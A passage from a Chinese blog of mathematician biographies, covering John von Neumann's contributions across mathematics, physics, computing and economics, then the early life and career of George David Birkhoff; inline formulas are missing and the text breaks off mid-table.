1871-1956）关于极小极大性质的一篇论文启发他发展…… 一些想法，最终在他的最具原创性的工作之一 —— 博弈论 —— 中结出了硕果。” 在博弈论中，von Neumann 证明了极小极大定理（minimax theorem）。 他逐渐扩展在博弈论方面的研究，并与合作者摩根斯特恩（Oskar Morgenstern, 1902-1977）合著了经典著作《博弈论与经济行为》（Theory of games and Economic Behaviour）（1944）。 Ulam 继续写道：“库普曼（Bernard Osgood Koopman, 1900-1981）针对如何利用作用于函数空间的算子来处理经典力学问题的一些想法，激发了 von Neumann 给出第一个严格数学意义上的遍历定理证明。哈尔（Alfréd Haar, 1885-1933）在群上构造测度的方法，又激发了他对希尔伯特第五问题的出色部分解：在这一工作中，他证明了在紧群上引入解析参数的可能性。” 1930 年代中期，von Neumann 转向了应用数学的研究： “30 年代中期，他对流体力学湍流问题产生了浓厚兴趣。当时他已经意识到，非线性偏微分方程背后隐藏着无数神秘之处。从二战开始，他致力流体力学方程与激波理论的研究。这些非线性方程所描述的现象在解析上极其困难，用现有方法连定性理解都很难实现。进行数值计算在他看来是获得对此类系统行为认识的最有前景的途径。这也促使他进一步研究如何借助电子设备进行全新的计算……” John von Neumann 是计算机科学的先驱之一，为逻辑设计的发展作出了重大贡献。香农（Claude Shannon, 1916-2001）写道：“在他生命的最后几年里，von Neumann 相当大一部分时间都致力于研究自动机理论（automata theory）。对他而言，这个领域可以视为他早年对逻辑和证明论兴趣，与他在二战期间及战后对大型电子计算机的研究之间的一种综合。自动机理论本身融合了纯数学、应用数学以及其他科学门类，正好契合 von Neumann 博大精深的智慧。他带来了许多全新的洞见，并开辟了至少两个新的研究方向。” 他推动了元胞自动机（cellular automata）的理论研究，倡导使用 “比特” 作为计算机内存的度量单位，并在如何让不可靠的计算机元件输出可靠结果方面取得了突破。 二战期间以及战后，von Neumann 担任了多项与军方相关的顾问工作。他的贡献包括提出使用内爆法（implosion method）来使核燃料产生爆炸，并参与了氢弹的研制。 自 1940 年起，他一直是位于马里兰州阿伯丁试验场的弹道研究实验室（Ballistic Research Laboratories）科学顾问委员会的成员；1941 年至 1955 年，他是美国海军军械局（Navy Bureau of Ordnance）的成员；1943 年至 1955 年，他是洛斯阿拉莫斯科学实验室（Los Alamos Scientific Laboratory）的顾问；1950 年至 1955 年，他担任华盛顿特区武装部队特种武器项目（Armed Forces Special Weapons Project）的成员。 1955 年，艾森豪威尔（Dwight David Eisenhower, 1890-1969）总统任命他进入美国原子能委员会（Atomic Energy Commission），1956 年，当他已确诊患上无法治愈的癌症时，他依旧获得了该委员会的恩里科・费米奖（Enrico Fermi Award）。 Eugene Wigner 在回忆中写道 von Neumann 的去世： “当 von Neumann 意识到自己不治之症时，他的逻辑让他不得不面对自己将不复存在、因而再也无法思考的事实…… 看着他在没有任何希望的情况下与自己认为不可避免但又无法接受的命运抗争，令人心碎。” 诺伊曼 1957 年因患癌症去世，年仅 53 岁。死后葬于新泽西州普林斯顿公墓 von Neumann 获得过两枚总统颁发的奖章：1947 年的功绩勋章（Medal for Merit）以及 1956 年的自由勋章（Medal for Freedom）。同样在 1956 年，他还获得了阿尔伯特・爱因斯坦纪念奖（Albert Einstein Commemorative Award）以及前文提到的恩里科・费米奖。 在数学、信息学有多个领域的国际奖项以 von Neumann 命名。月球背面的一个陨石坑和一颗小行星 22824 以纪念 von Neumann 而命名。 贡献一、集合论在 1925 年的博士论文中，John von Neumann 针对朴素集合论（Naive set theory）中 “自包含” 集合问题（Russell's paradox）提出了两项关键方案：其一是，基础公理（axiom of foundation），其二是，“类”（class）的概念。 von Neumann 通过基础公理提出了任何集合可以用一类方法构造（The axiom of foundation proposed that every set can be constructed from the bottom up in an ordered succession of steps by way of the Zermelo–Fraenkel principles），进而排除了 “集合属于自身” 的可能性，同时为了证明新引入的公理不会和已有公理产生矛盾， von Neumann 引入了 inner models 的概念作为证明工具。 在严格集合的公理化体系的同时，von Neumann 确立了序数（ordinal）与基数（cardinal）理论的优雅架构，并首次严格地阐述了运用超限归纳（transfinite induction）进行定义的原则，对现代集合论的发展影响深远。 二、冯・诺伊曼悖论（von Neumann paradox）在 Hausdorff 悖论的基础上，巴拿赫（Stefan Banach, 1892-1945）与塔斯基（Alfred Tarski, 1901-1983）于 1924 年基于选择公理证明了著名的巴拿赫 - 塔斯基悖论（Banach-Tarski paradox）。 这个悖论是说，对于三维空间中的单位球 ，我们将它分割成有限的若干部分 、…、 ，然后对每个 运用刚体变换（旋转和平移）进行重新排列，最终可以组合成两个单位球。特别地，这里构造的每一个 都是根据选择公理构造的不可测集。 巴拿赫 - 塔斯基 “悖论”：一个球可以分解和重新组合成两个大小和原来一样的球。 具体来说，我们选取一个由 2 个生成元生成的 “自由群”（free groups），并取一个十分特殊的分割（decomposition）。 我们将这个自由群对应于三维空间中有 2 个生成元的旋转群，然后通过选择公理，利用群的特殊分割对单位球进行分割。最终通过这一技巧得到这些不可测集经过重新组合后得到两个单位球。 上述技巧和悖论对于三维以上的情形都成立。但对于欧几里得平面（或者说圆盘）不成立。 von Neumann 在研究这个悖论时，提出了可均群（Amenable group）的概念，他发现三维以上情形之所以产生悖论，和这些空间的旋转群的非可均性（non-amenable）有关。 而对于圆盘的情形，在 1929 年，von Neumann 以有限块方式将圆盘分割后（成有限个不可测集），再用保面积的仿射变换（affine transformation）（不仅仅是平移或旋转）将这些不可测碎块重新组合成两个圆盘。 这主要基于在仿射变换群中寻找自由群的技巧。这一结果被称为冯・诺伊曼悖论（von Neumann paradox）。 三、证明论（Proof theory）1927 年，von Neumann 在哥廷根已开始参与有关 “皮亚诺公理（Peano axioms）是否可推出初等算术” 的讨论（whether elementary arithmetic followed from Peano axioms）。 他在 Ackermann 的工作基础上，试图运用希尔伯特学派的 “有限主义（finistic）” 方法证明所谓的一阶算术的一致性（consistency of first-order arithmetic）。利用这一思想，他可以得到一部分的关于自然数算术的一致性。 1927 年后，von Neumann 仍然在试图利用证明论（proof theory）的方法来证明经典数学体系的一致性。 然而 1930 年 9 月，在第二届精确科学认识论会议（Second Conference on the Epistemology of the Exact Sciences）上，哥德尔（Kurt Friedrich Gödel, 1906-1978）公布了他的第一不完全性定理（First theorem of incompleteness）。 在此次会议上，von Neumann 建议 Gödel 将这一结果应用于 “不可判定的整数命题”（undecidable propositions about integers）。 不到一个月后，von Neumann 便致函 Gödel，指出了他定理的一个重要推论：一般的公理系统无法证明自身的一致性（the usual axiomatic systems are unable to demonstrate their own consistency）。 Gödel 回信称，他早已意识到这一结果（即后来称为 “第二不完全性定理”），并表示会寄去包含这两个定理的文章预印本，但最终并未发生。 von Neumann 在后续信件中明确承认了 Gödel 的优先发现权。 The first incompleteness theorem states that no consistent system of axioms whose theorems can be listed by an effective procedure (i.e. an algorithm) is capable of proving all truths about the arithmetic of natural numbers. For any such consistent formal system, there will always be statements about natural numbers that are true, but that are unprovable within the system. First theorem of incompleteness 不过 von Neumann 的证明方法与 Gödel 的并不相同，而且他认为第二不完全性定理对希尔伯特纲领造成了比 Gödel 设想的更严重的打击。 这项发现对 von Neumann 的数学严谨观造成了巨大冲击，他也因此停止了在数学基础与元数学（metamathematics）方向上的继续研究。 The second incompleteness theorem, an extension of the first, shows that the system cannot demonstrate its own consistency. Second theorem of incompleteness 四、遍历理论（Ergodic theory）1932 年，von Neumann 发表的一系列论文在遍历理论这一数学分支奠定了重要基础。遍历理论是数学的一个分支，研究确定性动力系统（deterministic dynamical systems）的统计性质；它是对遍历性的研究。 这里，“统计性质” 指的是通过沿着动力系统轨迹的各种函数的时间平均行为来表达的性质。 von Neumann 的遍历定理（Von Neumann’s ergodic theorem）指出，对于一个单参数酉群（one-parameter unitary group） 作用在一个希尔伯特空间 上，对于希尔伯特空间 中的任意向量 ，极限 在希尔伯特范数（Hilbert Norm）定义的度量意义下存在，且极限是一个向量 ，且对所有 都满足 。 1932 年晚些时候，von Neumann 发表了另一篇具有影响力的论文，系统性地研究了遍历性。 他提出并证明了一个分解定理，表明对实数遍历的保持测度的作用（ergodic measure preserving actions of the real line）构成了构造任何测度保持作用（measure preserving actions）的基本元素（fundamental building blocks）。 他在这篇论文以及随后与哈尔莫斯（Paul Richard Halmos，1916-2006）合作的另一篇论文中得到的一系列关键定理，对数学其他领域也有重要应用。 五、测度论（Measure theory）在测度论中，有所谓的 维欧几里得空间 的 “测度问题（problem of measure）”，可以表述为：在 的所有子集所构成的类上，是否存在一个正的（positive）、归一化（normalized）、不变（invariant）且可加（additive）的集合函数（set function）？ 在之前 Hausdorff 和 Banach 的工作表明 、 时，上述问题的答案是存在。 而我们提到的 Banach-Tarski paradox 则表示上述问题在 时答案是不存在。 von Neumann 的工作指出，“该问题本质上是一个与群论相关的问题”：能否存在这样一个测度，可以通过考察给定空间的变换群的性质来决定。 对于维度不超过 2 的情形，欧几里得群（Euclidean group）是可解群（solvable group），故答案为肯定；而对于更高维的情形，该群不可解，因此答案是否定。 在 von Neumann 的多篇论文中，他所使用的论证方法往往比结论本身更为重要。 为了给后来在算子代数中研究维数理论打下基础，von Neumann 利用 “有限分解等价”（equivalence by finite decomposition）的研究成果，将测度问题用函数的观点加以重新表述。 此外，von Neumann 还回应了 Haar 提出的关于实数轴上有界函数代数的疑问：whether there existed an algebra of all bounded functions on the real number line such that they form “a complete system of representatives of the classes of almost everywhere-equal measurable bounded functions”. 证明了 “完备表示几乎处处相等可测有界函数类”（\"a complete system of representatives of the classes of almost everywhere-equal measurable bounded functions\"）的存在性，并与斯通（Marshall Harvey Stone, 1903-1989）合作深入讨论了其推广及代数意义。 他不仅在分析测度分解方面提出了新方法，也通过函数平均值给出了适用于紧群的 Haar 测度唯一性新论证。 他在普林斯顿高等研究院讲授的测度论课程，更成为当时美国学术界研究该领域的核心材料。 六、拓扑群（Topological groups）利用此前在测度论方面的研究成果，von Neumann 在拓扑群理论上也作出了若干贡献。 其开端是一篇关于群上近周期函数（almost periodic functions）的论文，von Neumann 在其中将 Bohr 对近似周期函数的研究推广到任意群。 他随后与博赫纳（Salomon Bochner, 1899-1982）合作的另一篇论文，则将近似周期性的理论进一步扩展到可取线性空间元素为值的函数。 1923 | G. D. Birkhoff1924 | Eric Temple Bell; S. Lefschetz1928 | J. W. Alexander II1933 | M. Morse; N. Wiener1938 | John von Neumann1943 | Jesse Douglas1948 | Albert Schaeffer; Donald Spencer1953 | Norman Levinson1959 | Louis Nirenberg1964 | Paul Cohen1969 | Isadore Singer1974 | D. S. Ornstein1979 | A. Calderón1984 | Luis Caffarelli; Richard Melrose1989 | Richard Schoen1994 | Leon Simon1999 | D. Christodoulou; S. Klainerman; Thomas Wolff2002 | Daneil Tătaru; Terence Tao; Fanghu Lin2005 | Frank Merle2008 | A. Bressan; C. Fefferman; C. Kenig2011 | Assaf Naor; G. Uhlmann2014 | Simon Brendle2017 | András Vasy2020 | C. De Lellis; L. Guth; L. S.-Raymond2023 | F. Merle, P. Raphaël, I. Rodnianski, J. Szeftel 1938 年, 因此项工作, von Neumann 获得了美国数学会颁发的博歇尔（Maxime Bôcher, 1867-1918）奖。 在 1933 年的一篇论文中，他利用新发现的 Haar 测度解决了 Hilbert 第五问题中针对紧群（compact groups）的部分。这一核心思想在数年前即已浮现：当时 von Neumann 发表了一篇关于线性变换群解析性质的论文，指出一般线性群（general linear group）的闭子群实际上是李群（Lie groups）。 Über die analytischen Eigenschaften von Gruppen linearer Transformationen und ihrer Darstellungen 这一结果后来被埃利・嘉当（Élie Joseph Cartan, 1869-1951）推广到任意李群，现称作闭子群定理（closed-subgroup theorem）——If is a closed subgroup of a Lie group , then is an embedded Lie group with the smooth structure agreeing with the embedding。 七、泛函分析（Functional analysis）von Neumann 首次从公理化角度给出了抽象 Hilbert 空间的定义：这是一个带有埃尔米特（Hermitian）内积的复向量空间，其对应范数既可分又完备（separable and complete）。 在同样的论文中，他也证明了先前只在特定情形下已知的 Cauchy–Schwarz 不等式的一般形式。 1929 年至 1932 年间，他又在三篇奠基性的论文中继续发展了 Hilbert 空间中算子的谱理论（spectral theory）。 这些工作最终汇编进他的著作《量子力学的数学基础》（Mathematical Foundations of Quantum Mechanics）。与 Stone 和 Banach 在同一年出版的两本著作一起，它们是最早的 Hilbert 空间理论专著。 在此前他人的研究中，人们已发现仅靠序列（sequence）无法获得弱拓扑（weak topology）理论。von Neumann 是首位提出如何克服这一困难的方案的人，由此他首次定义了局部凸空间（locally convex spaces）和拓扑向量空间（topological vector spaces）。 此外，他当时还定义了诸如有界性（boundness）及全局有界性（total boundness）等几个拓扑性质，这些概念至今仍然十分重要。 von Neumann 发展上述理论的主要动机来源于量子力学：von Neumann 认识到必须将 Hermitian 算子的谱理论从有界情形推广到无界情形。 von Neumann 还在一篇论文中详细论述了：当时在谱理论中常用的 “无限矩阵” 方法不足以对 Hermitian 算子进行恰当表示。他在算子理论上的研究最终引领他创造了纯数学中最深远的发明之一 ——von Neumann 代数以及更一般的算子代数理论。 在此阶段，von Neumann 重新审视了自己在谱理论方面的研究，并在 “算子环”（rings of operators）领域进一步发展了相关思想。 他通过在 Hilbert 空间中使用 direct integrals 的手段，赋予了谱理论全新的几何解释，同时也在不变子空间问题上取得突破，却因为各种原因未能及时发表部分成果。 例如，他曾在 20 世纪 30 年代早期向阿隆沙因（Nachman Aronszajn, 1907-1980）和 K. T. Smith 透露，自己已证明了完全连续算子在 Hilbert 空间中必然存在适当的不变子空间（the existence of proper invariant subspaces for completely continuous operators in a Hilbert space）。 在与伊萨克・雅各布・勋伯格（Issac Jacob Schoenberg, 1903-1990）合作的过程中，von Neumann 对实数上的平移不变的 Hilbert 度量进行了完整分类。 在与恩斯特・帕斯夸尔・约当（Ernst Pascual Jordan, 1902-1980）的合作中，提出了酉不变范数（unitarily invariant norms）与对称规函数（symmetric gauge functions）的系统讨论，开启了对称算子理想（symmetric operator ideals）和对称算子空间（symmetric operator space）的研究。 在与罗伯特・沙顿（Robert Schatten, 1911-1977）合作时，开创了对核算子（nuclear operators）与 Banach 空间张量积的研究，引入并探讨了迹类算子（trace class operators）及其与紧算子和有界算子的对偶（duality）及预对偶（preduality）关系。 随后，亚历山大・格罗滕迪克（Alexander Grothendieck, 1928-2014）等人又将这一方向推广到 Banach 空间的核算子理论。 实际上，von Neumann 早在 1937 年就发表了若干相关结果，包括对 上不同交叉范数的刻度，以及后来被称为 Schatten-von Neumann ideals 的其他相关结果。 在与罗伯特・沙顿（Robert Schatten, 1911-1977）合作时，开创了对核算子（nuclear operators）与 Banach 空间张量积的研究，引入并探讨了迹类算子（trace class operators）及其与紧算子和有界算子的对偶（duality）及预对偶（preduality）关系。 八、算子代数（Operator algebras）通过对 “算子环” 的研究，John von Neumann 开创了对 von Neumann 代数（最初称为 - 代数）的系统研究。他早在 1930 年前便有了初步设想，但直到与弗朗西斯・约瑟夫・默里（Francis Joseph Murray, 1911-1996）相识后，才在数年内将其发展为一套完整的理论。von Neumann 代数是指希尔伯特空间上在关于弱算子拓扑下是闭的、包含恒等算子的一类有界算子构成的 - 代数（-algebra）。 von Neumann 的 “von Neumann bicommutant theorem” 证明了要验证上述解析的定义可以通过纯代数方式验证。von Neumann bicommutant theorem 是说，Let be an algebra consisting of bounded operators on a Hilbert space , containing the identity operator, and closed under taking adjoints. Then the closures of in the weak operator topology and the strong operator topology are equal, and are in turn equal to the bicommutant of 。 在成功处理了交换代数的情况后，von Neumann 与 Murray 自 1936 年起进一步研究非交换情形，主要聚焦于对 “factors” 的分类，以及 von Neumann 代数的整体框架。 他们于 1936 至 1940 年间发表的六篇重要论文被誉为 20 世纪分析领域的杰作，奠定了算子代数的一系列基础结果，并引领了多个后续方向。其中包括 factors 的分类方法，以及对可分希尔伯特空间（separable Hilbert space）上的 von Neumann 代数 is a direct integral of factors 的证明（1938 年提出，直至 1949 年才发表）。 孔涅（Alain Connes, 1947-）后来对于因子的结构和分类的工作获得了 1982 年的菲尔兹奖。此外，von Neumann 代数还与非交换积分理论密切相关，他虽在著作中暗示了这一点却未明确写出；另一个里程碑式成果是 1932 年提出的极分解（polar decomposition）定理。 九、格论（Lattice theory）von Neumann 将传统的射影几何与线性代数、环论、格论等现代代数工具相融合，使得射影几何中的许多结果都能在一般的环上模（modules over rings）里得到推广和解释。他提出了连续几何（continuous geometry）的概念，它是对复射影几何的一种替代。 传统射影几何的维度只能取离散值（0、1、2、……），而在连续几何中，子空间的维度可以在 区间里连续变化。 这一想法源自 von Neumann 对于一类 II 型 factor 等算子代数的研究，那里出现了可取连续值的 “维度函数”。 von Neumann 以格论的抽象语言刻画了带连续维度的射影几何，并将传统射影几何的 Veblen（Oswald Veblen, 1880-1960）- Young（John Wesley Young, 1879-1932）定理（a projective space of dimension at least 3 can be constructed as the projective space associated to a vector space over a division ring）推广到他提出的连续几何的框架中。 为了证明相关定理，他提出了 von Neumann 正则环（von Neumann regular ring）的概念，即对任意环元素 ，存在 使得 。 该概念与后来的 von Neumann 代数等研究紧密关联。在此过程中还创造并证明了许多技术性定理，例如在无限分配律（infinite distributivity）、格的赋值（valuations）、度量格（metric lattices）等方面的结果。 这些成果进一步推动了抽象射影几何与格论的研究，对后续数学发展产生影响。 十、数学统计学（Mathematical statistics）von Neumann 在 1941 年给出了 “对于相互独立、同分布的正态随机变量，其连续差分（successive differences）的平方均值与样本方差之比” 的确切分布。 该比率后来被应用于回归模型的残差（residuals），并以 Durbin（James Durbin, 1923-2012）-Watson（Geoffrey Stuart Watson, 1921-1998）统计量（Durbin-Watson statistic）之名而广为人知，用于检验回归误差项在原假设下是否相互独立，对比备择假设 “误差项服从平稳的一阶自回归过程”。 十一、数学其他von Neumann 在数学上还证明了很多没有被上述的归类提到的工作，比如他证明了对于 ， 是代数无关的（algebraically independent）。 十二、物理学John von Neumann 在 1932 年出版的《量子力学的数学基础》（Mathematical Foundations of Quantum Mechanics）中，以 “von Neumann 公理体系” 的形式，尝试为量子力学建立数学基础，系统地将量子态视为希尔伯特空间中的点，并用线性算子来表示可观测量（observable），从而把量子物理问题化约为对无穷维希尔伯特空间及其算子的研究。 这种数学形式同时包含了海森堡（Werner Karl Heisenberg, 1901-1976）与薛定谔（Erwin Rudolf Josef Alexander Schrödinger, 1887-1961）的各自表述，并清晰刻画了算子不对易所对应的不确定性原理（uncertainty principle）。 在研究量子测量（quantum measurement）时，John von Neumann 认为必须有 “观察者（observer）” 来引发波函数坍缩（wave function collapse），甚至把意识视为潜在的坍缩根源，该观点后来形成了 “John von Neumann-Eugene Wigner 诠释（von Neumann-Wigner interpretation）”，虽曾得到 Eugene Wigner 的支持，但并未成为主流。 在对量子理论基础的探讨中，John von Neumann 试图证明量子力学的统计结果无法被某种潜在的 “隐变量（hidden variable）” 理论所解释，引发了后来的格蕾特・赫尔曼（Grete Hermann, 1901-1984）、约翰・斯图尔特・贝尔（John Stewart Bell, 1928-1990）等人的批评与修正。 尽管他的证明并不适用于排除所有类型的隐变量理论，但推动了后续格里森（Andrew Mattei Gleason, 1921-2008）定理（Gleason's theorem）、贝尔定理（Bell's theorem）以及阿斯派克（Alain Aspect, 1947-，2022 年诺贝尔物理学奖得主）的实验等研究，最终在非定域性（nonlocality）、量子现实观以及与狭义相对论（special relativity）的兼容问题上产生深远影响。 John von Neumann 在量子信息论（quantum information theory）领域也具有奠基性地位，他提出的 “冯・诺依曼熵（von Neumann entropy）” 为描述量子状态的信息量提供了关键指标，并帮助定义如霍勒沃（Alexander Semenovich Holevo, 1943- ）熵（Holevo entropy）、条件量子熵（conditional quantum entropy）等广义熵度量，在量子纠缠、量子通等研究中具有核心地位。 此外，他在 1927 年首次引入 “密度矩阵（density matrix）” 形式，能同时刻画纯态（pure state）与混合态（mixed state），为后来的量子退相干（quantum decoherence）、量子测量方案（quantum measurement scheme）奠定理论基础。 在量子逻辑（quantum logic）方面，von Neumann 与加勒特・伯克霍夫（Garrett Birkhoff, 1911-1996）共同发展出了一种区别于经典逻辑的 “量子逻辑” 体系，揭示了量子力学中非分配性（non-distributivity）与非对易性（non-commutativity）的深层结构；而在 “von Neumann 测量方案” 中，他提出将测量装置本身也视作量子系统，并引入投影测量的形式化表达，为日后量子退相干理论（quantum decoherence theory）铺平道路。 除量子领域外，John von Neumann 在流体力学（fluid dynamics）中同样成果卓著，包括对爆轰波（detonation wave）模型（ZND 模型）的阐明、对成形装药（shaped charge）的数值研究，以及与里希特迈尔（Robert Davis Richtmyer, 1910-2003）共同提出 “人工黏性” 算法来模拟激波（shock wave），从而在计算流体力学和弹道学方面大显身手。 他的研究不仅在理论上持续影响着对量子力学本质及测量问题的讨论，也实质推动了现代计算物理（computational physics）、信息论（information theory）和数理逻辑（mathematical logic）的发展，被公认为近代最具影响力的数学物理学家之一。 十三、计算机von Neumann 是计算机领域的奠基性人物之一，他不仅在硬件设计上留下重要贡献（如对 ENIAC 的咨询、撰写未完成的 EDVAC 报告，并设计了 IAS 机器），也因在同一存储器中存放指令与数据的 “von Neumann 结构”（von Neumann architecture）而闻名。 他提出了 “归并排序（merge sort）” 算法，与斯坦尼斯拉夫・乌拉姆（Stanisław Ulam）等人共同发展了蒙特卡洛方法（Monte Carlo method），并设计了利用有偏硬币来模拟公平硬币的算法以及 “中平方法（middle-square method）” 这种早期的伪随机数生成方式。 此外，von Neumann 在随机计算（stochastic computing）和计算复杂性（computational complexity）的早期研究中也有先驱性贡献；他设计的 “自复制通用构造器（universal constructor）” 及对元胞自动机（cellular automata）的研究，为后来生物系统与人工生命的模拟奠定了理论基础。 在科学计算与数值分析方面，他提出了著名的 “von Neumann 稳定性分析（von Neumann stability analysis）”，并率先将计算机用于求解非线性偏微分方程，开创了以数值方法研究爆炸、流体力学等复杂问题的新途径。他还领导了早期的数值天气预报（numerical weather prediction）研究，组建团队利用 ENIAC 首次实现了大气环流模拟，并预见了燃烧化石燃料所导致的温室效应和全球变暖趋势。 von Neumann 在气象学、气候学等领域同样发挥了领军作用，对如何通过操作地球环境（例如在极地冰盖上施加吸热物质）进行气候干预也提出了开创性的设想。他在 20 世纪 50 年代还讨论过技术发展加速所导致的人类社会 “奇点（singularity）” 问题，认为技术突飞猛进可能会带来超越以往认知的重大变革。 可以说，von Neumann 在计算、数值模拟以及前瞻性技术思考等多方面都深刻地影响了现代科学与工程的发展。 十四、经济学von Neumann 奠定了博弈论（Game Theory）的数学基础，最初在 1928 年证明了 “极小极大定理（minimax theorem）”，说明在零和博弈（zero-sum game）且信息完备（perfect information）的条件下，两位参与者都存在可以最小化其最大损失的最优策略。 这一成果在他与奥斯卡・摩根斯坦（Oskar Morgenstern, 1902-1977）于 1944 年合著的《博弈论与经济行为》（Theory of Games and Economic Behavior）中得到进一步推广，包括对不完美信息（imperfect information）以及多方参与的博弈情况的讨论。von Neumann 在书中指出，经济学研究应当更多借助泛函分析，尤其是凸集和拓扑不动点定理，而非传统的微分方法。 在数学经济学中，von Neumann 通过构造经济增长模型（expanding economy）并运用布劳尔不动点定理（Brouwer fixed-point theorem）等工具，证明了该模型的平衡解既存在又唯一。他的模型将非负矩阵与概率向量相结合，给出了经济增长率以及利率的数学表达方式，后来被视作线性规划（Linear Programming）的特例。 该研究也对日后经济学中的凸分析、线性不等式与鞍点对偶性等方法具有奠基意义。"},{"title":"","date":"2026-05-13T01:07:00.000Z","updated":"2026-05-13T01:10:00.000Z","comments":true,"path":"notes/person/16.html","permalink":"https://blog.mhuig.top/notes/person/16","excerpt":"","text":"Birkhoff Birkhoff 生平乔治・大卫・伯克霍夫（George David Birkhoff，1884-1944）出生于 Michigan 州的奥弗塞尔镇（Overisel），是两位荷兰移民的儿子。 父亲大卫・伯克霍夫（David Birkhoff）于 1870 年抵达美国，母亲是简・格特鲁德・德罗珀斯（Jane Gertrude Droppers）。 Birkhoff 在 Chicago 受教育，因为当时他父亲在 Chicago 当医生。 1896 至 1902 年间，他就读于路易斯学院（Lewis Institute，即如今的伊利诺伊理工学院）。1901 年，他开始就一个数论问题与范迪弗（Harry Schultz Vandiver，1882-1973；1931 年获得 Cole 数论奖，他的儿子 Frank Vandiver 后来成为 Texas A & M 的校长）通信。 两人一起研究 的素因子，后来又将这项工作整理发表。1902 年从 Lewis 学院毕业后，Birkhoff 开始了大学学习。 他于 1902 年进入 Chicago 大学，读一年后转到 Harvard 大学，在那里学习到 1905 年。就读 Harvard 期间，他于 1904 年把与 Vandiver 合作得到的结果以《关于 的整数因子》（On the integral divisors of ）为题投稿到《Annals of Mathematics》，这是他的第一篇发表的论文。 论文的主要定理在当时是新的，它的一个推论：对任意给定的正整数 ，存在无穷多个素数 满足 （其实 Kronecker、Hilbert、Sylvester 早已证明）。 同样在 1904 年，他还向美国数学学会提交了一篇分析方面的论文。在 Harvard 的这两年里，对他影响最大的老师是博歌（Maxime Bôcher，1867-1918）；Bôcher 教他代数和经典分析。Bôcher 出生于 Boston，1888 年 Harvard 本科毕业后到德国 Göttingen 大学跟随克莱因（Felix Klein，1849-1925）念博士。中国第一位在美国获得数学博士的胡明复（Minfu Tah Hu，1891-1927）是他的学生。 Birkhoff 于 1905 年获得哈佛大学文学学士学位（A.B.），并于 1906 年获得文学硕士学位（A.M.）。 1905 年，Birkhoff 回到 Chicago 大学攻读博士学位。他的研究集中于渐近展开、边值问题以及 Sturm-Liouville 型问题；不过，他的导师摩尔（Eliakim Hastings Moore，1862-1932）对他的影响，似乎不如庞加莱（Henri Poincaré，1854-1912）来得深。 Birkhoff 阅读了 Poincaré 关于微分方程和天体力学的著作，比如《Les Méthodes Nouvelles de la Mécanique Céleste》（天体力学中的新方法）；在研究方向的形成上，他从 Poincaré 那里学到的东西更多，受的影响也比从导师那里更强。 阿奇博尔德（R. Archibald）写道：“在 Harvard 的两年中，一年是本科，一年是研究生阶段，那时 Bôcher 和奥斯古德（William Fogg Osgood，1864-1943）正处于学术鼎盛时期；但接下来的两年（在 Chicago），他是在摩尔（Eliakim Hastings Moore，1862-1932）、博尔扎（Oskar Bolza，1857-1942）和马施克（Heinrich Maschke，1853-1908）门下学习的 —— 当时那里是美国最富启发性的数学中心。不过，他的博士论文基本上是独立完成的。” Birkhoff 提交的博士论文题为《某些常微分方程的渐近性质及其在边值问题和展开问题中的应用》（Asymptotic properties of certain ordinary differential equations with applications to boundary value and expansion problems），并因此于 1907 年获得博士学位。这是一篇很重要的论文，不仅因为其中包含的结果，也因为这项工作自然地引出了许多重要的后续发展。 Birkhoff 自己在随后的几年里进一步发展了这些思想，他的两位学生兰格（Rudolph Ernest Langer，1894-1968）和斯通（Marshall Harvey Stone，1903-1989）也继续推进了这一方向。 例如，Birkhoff 和 Langer 在 1923 年发表了一篇重要的扩展性论文。Birkhoff 关于线性微分方程、差分方程以及广义 Riemann 问题的大部分工作，基本上都源于他在这篇论文中打下的基础。 1907 至 1909 年，Birkhoff 在 Wisconsin 大学 Madison 分校任讲师。就在这一时期，也就是 1908 年，他与玛格丽特（Margaret Elizabeth Grafius，1884-1973）结婚；两人共有三个孩子。离开 Wisconsin-Madison 后，他到 Princeton 任数学导师（preceptor），并于 1911 年升任教授。 次年，他转到 Harvard 大学任副教授；1919 年升任正教授，此后终生留在 Harvard。1932 年，他被任命为 Harvard 大学 Perkins Professor；1936 年又出任文理学院院长。 Birkhoff 研究过许多不同的数学主题，他最主要的工作是在动力系统和遍历理论方面。 他的遍历定理借助 Lebesgue 测度，把 Maxwell-Boltzmann 气体运动论转化为一个严格的原理。Butler 写道：“Birkhoff 于 1931-32 年发现的、后来称为‘遍历定理’的结果，是他在动力学中最著名的贡献。这个理论原则上解决了气体理论和统计力学中的一个基本问题；它不仅对动力学本身有影响，而且也影响了概率论、群论和泛函分析。” 当然，使 Birkhoff 成为他那个时代美国最著名数学家的，并不只是遍历定理。 实际上，早在许多年前，在多数数学家看来，他已因 1913 年证明了 Poincaré 的最后几何定理（Poincaré's last geometric theorem）而获得了这一地位；这个定理是三体问题（three-body problem）的一个特例。 Poincaré 在 1912 年的《关于几何学的一个定理》（Sur un théorème de géométrie）中陈述了这一结果，但只能在若干特殊情形下给出证明。 在 Poincaré 去世后的三个月内，Birkhoff 于 1913 年解决了这个问题，被评价为：…… 那个时代最令人振奋的数学事件之一。不过，Birkhoff 告诉他的学生 Marshall Stone，做这个问题，让他的体重减轻了 30 磅。这个证明成为将分析学的存在性证明连接到拓扑不动点定理的首例。 相对论和量子力学的基础问题，也是 Birkhoff 研究过的主题。他与 R. E. Langer 合作，于 1923 年出版了专题著作《相对论和现代物理》（Relativity and modern physics）。 在生命后期，他又于 1938 年发表了一部更具思辨色彩的作品《作为流体的电子》（Electricity as a fluid），其中结合了他关于哲学和科学的一些想法。他还在四色定理方面做过重要工作。 此外，他建立了一种数学的美学理论，并把它应用到艺术、音乐和诗歌上。在写作《美学度量》（Aesthetic measure）之前，他曾花一年时间环球旅行，研究各国的艺术、音乐和诗歌。 他曾说过，西方音乐的形式结构、旋律之谜，早在本科时代便开始吸引他；对其中数学成分的某种相当深入的思考，进而使他把自己的理论应用到多边形、铺砌、花瓶，甚至诗歌这样的审美对象之上。 在他的著作中，除前面已提到的之外，还包括《相对论和现代物理》（Relativity and modern physics，1923）、《动力系统》（Dynamical systems，1928）、《美学度量》（Aesthetic measure，1933）以及《基础几何》（Basic geometry，1941）。 1923 年，美国数学学会首次颁发 Bôcher Memorial Prize，授予 Birkhoff，以表彰他发表在 1917 年《Transactions of the American Mathematical Society》上的论文《两自由度的动力系统》（Dynamical systems with two degrees of freedom）。 他与美国数学学会有长期而密切的关系：1919 年任副会长，1920 年任讲座教授（Colloquium Lecturer），讲授主题为动力系统；1921 至 1924 年间任《Transactions of the American Mathematical Society》编辑；1925 至 1926 年任美国数学学会主席。 美国数学学会主席（部分）： 任职时间 主席 任职时间 主席 任职时间 主席 1888-1890 Amringe 1901-1902 E. Moore 1923-1924 O. Veblen 1925-1926 G. Birkhoff 1935-1936 